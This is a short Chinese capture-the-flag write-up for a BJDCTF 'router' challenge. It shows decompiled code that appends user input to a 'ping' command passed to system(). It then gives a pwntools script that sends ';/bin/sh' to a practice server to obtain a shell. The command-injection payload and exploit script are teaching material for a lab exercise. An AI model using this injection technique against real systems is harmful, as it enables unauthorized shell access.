超乎我的认知的一道题

```
12  v11 = __readfsqword(0x28u);
13  setvbuf(stdout, 0LL, 2, 0LL);
14  setvbuf(stdin, 0LL, 1, 0LL);
15  *(_QWORD *)dest = ' gnip';
16  v7 = 0LL;
17  v8 = 0;
18  v9 = 0;
19  v4 = 0;
20  puts("Welcome to BJDCTF router test program! ");
21  while ( 1 )
22  {
23    menu();
24    puts("Please input u choose:");
25    v4 = 0;
26    __isoc99_scanf("%d", &v4);
27    switch ( v4 )
28    {
29      case 1:
30        puts("Please input the ip address:");
31        read(0, buf, 0x10uLL);
```

```
puts("Please input u choose:");
v4 = 0;
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
  case 1:
    puts("Please input the ip address:");
    read(0, buf, 0x10uLL);
    strcat(dest, buf);
    system(dest);                           // 可以输入/bin/sh
    puts("done!");
    break;
  case 2:                                   // 无用
    puts("bibibibbibibib~~~");
    sleep(3u);
```

可以看到

case1的情形是:

system执行

‘ping’ + input

这里考察了system的一些机理

比如说

system 可以同时执行若干条命令

比如 ping xxx; /bin/sh

分号;就是一个隔断字符

```
from pwn import *
from LibcSearcher import *
context(log_level='debug')
#io = process('./bjdctf_2020_babyrop2')
io = remote('node4.buuoj.cn',28068)

io.recvuntil("Please input u choose:")
io.send(b'1\x00')
io.recvuntil("Please input the ip address:")
payload = ';/bin/sh\x00'
io.send(payload)
io.interactive()
```